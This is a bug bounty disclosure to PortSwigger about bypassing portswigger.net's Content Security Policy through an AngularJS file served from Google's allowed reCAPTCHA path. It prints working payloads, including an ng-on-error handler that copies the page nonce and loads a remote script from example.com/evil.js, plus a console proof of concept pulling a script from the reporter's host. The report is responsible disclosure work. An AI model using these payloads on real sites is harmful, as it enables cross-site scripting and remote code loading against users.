PortSwigger Web Security · Report #2279346
CSP bypass on PortSwigger.net using Google script resources
Summary
Read a full writeup of finding and reporting the bug here:
https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources
How it was found
Summary
Hi team! I read this blogpost again after playing with an Angular CSP bypass in this Twitter thread https://twitter.com/sudhanshur705/status/1732760081094091117
I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.
As show in the Twitter thread https://www.google.com/recaptcha/about/js/main.min.js contains Angular, and your CSP allows the complete https://www.google.com/recaptcha/ URL
First of all this allows for simple JS execution, such as
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
this will pop an alert.
This allows for some JS execution, but eval and Function escalations from Angular will be blocked by the lack of unsafe-inline. I found that this can be bypassed when a site is using nonce based CSP like this
<img src=x ng-on-error='
w=$event.target.ownerDocument;
a=w.defaultView.top.document.querySelector("[nonce]");
b=w.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce;
w.body.appendChild(b)
'>
POC
- Go to https://portswigger.net/
- Open devtools and paste and execute this (replace
//joaxcar.com/hack.jsif you want)
document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="//joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`
- See the popup, look at network tools and see that the script is loaded from
Impact
Just as in the blog, this is more of an in-depth defense. You need an HTML injection to pull this off. But as you asked us to send bypasses in
if you find something we missed, please report it to PortSwigger's bug-bounty program I do, however, understand if it is out of scope for rewards.
Have a nice one! Johan
Impact
CSP bypass using Angular JS